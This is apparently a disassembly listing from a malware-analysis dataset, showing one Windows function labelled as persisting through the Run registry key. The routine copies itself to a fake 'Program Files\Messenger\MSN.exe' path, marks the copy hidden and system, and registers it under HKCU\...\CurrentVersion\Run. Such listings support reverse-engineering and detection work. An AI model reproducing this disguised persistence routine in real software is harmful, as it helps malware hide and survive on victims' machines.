Function at 0x4127e0
Capabilities:
Persist via run registry key

Disassembly:
push 0xffffffffffffffff
push 0x4623bc
mov eax, dword fs:[0]
push eax
sub esp, 0x90c
mov eax, dword [0x4770d0]
xor eax, esp
mov dword [esp + 0x908], eax
push ebx
push esi
push edi
mov eax, dword [0x4770d0]
xor eax, esp
push eax
lea eax, [esp + 0x91c]
mov dword fs:[0], eax
push str.SystemDrive
call fcn.00433c33
add esp, 4
push eax
lea ecx, [esp + 0x20]
call fcn.004092b0
mov esi, dword [esp + 0x1c]
xor ebx, ebx
lea edx, [esp + 0xb0]
mov dword [esp + 0x924], ebx
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x412850
mov eax, esi
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412860
lea edi, [esp + 0xb0]
dec edi
nop
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x412870
mov ecx, 8
mov esi, str.Program_FilesMessengerMSN.exe
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x28]
movsb byte es:[edi], byte [esi]
call fcn.004109f0
push 0x40
push 1
lea eax, [esp + 0xb8]
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x930], 1
call fcn.0040e820
test eax, eax
jne 0x4128d2
mov ecx, dword [esp + 0x24]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x2c]
lea ecx, [esp + ecx + 0x24]
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x4128cb
or eax, 4
push ebx
push eax
call fcn.004090e0
mov edx, dword [esp + 0x24]
mov eax, dword [edx + 4]
test byte [esp + eax + 0x2c], 6
je 0x412ab9
push 0x400
lea ecx, [esp + 0x51c]
push ecx
push ebx
call dword [0x465290]
push ebx
lea edx, [esp + 0xb4]
push edx
lea eax, [esp + 0x520]
push eax
call dword [0x465294]
test eax, eax
je 0x412931
mov esi, dword [0x4652bc]
push 4
lea ecx, [esp + 0xb4]
push ecx
call esi
push 2
lea edx, [esp + 0xb4]
push edx
call esi
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], ebx
lea eax, [esp + 0x10]
push eax
push 0x2001f
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
mov byte [esp + 0x938], 2
mov dword [esp + 0x24], ebx
call dword [0x465028]
mov esi, eax
cmp esi, ebx
jne 0x412976
mov edi, dword [esp + 0x10]
xor esi, esi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], ebx
call fcn.00423c34
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x412990
push 0x80004005
call fcn.00401df0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
cmp esi, ebx
mov esi, dword [0x46502c]
mov byte [esp + 0x924], 3
jne 0x412a8a
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x11c]
push edx
push 0x466074
lea ecx, [esp + 0x20]
mov dword [esp + 0x2c], 0x400
call fcn.00401d40
cmp eax, ebx
jne 0x412a3e
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x14]
call fcn.00408120
xor eax, eax
mov cl, byte [esp + eax + 0xb0]
mov byte [esp + eax + 0x118], cl
inc eax
cmp cl, bl
jne 0x4129f0
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x118]
push ecx
push edx
call fcn.00432787
add esp, 8
cmp eax, ebx
setne al
cmp al, bl
je 0x412a79
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x14]
call fcn.00408120
push 1
lea ecx, [esp + 0x11c]
push ecx
jmp 0x412a6b
xor eax, eax
mov cl, byte [esp + eax + 0xb0]
mov byte [esp + eax + 0x118], cl
inc eax
cmp cl, bl
jne 0x412a40
lea edx, [esp + 0x118]
push edx
lea ecx, [esp + 0x14]
call fcn.00408120
mov eax, dword [esp + 0x10]
push 1
push eax
push 0x466074
lea ecx, [esp + 0x20]
call fcn.00401db0
cmp edi, ebx
je 0x412a86
push edi
call esi
xor edi, edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x924], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412ab2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp edi, ebx
je 0x412ab9
push edi
call esi
lea ecx, [esp + 0x7c]
mov byte [esp + 0x924], bl
call fcn.004087a0
lea ecx, [esp + 0x7c]
push ecx
mov dword [esp + 0x80], 0x4658d4
call fcn.0044d554
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 4
mov dword [esp + 0x924], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x412b0c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x91c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x908]
xor ecx, esp
call fcn.00431b29
add esp, 0x918
ret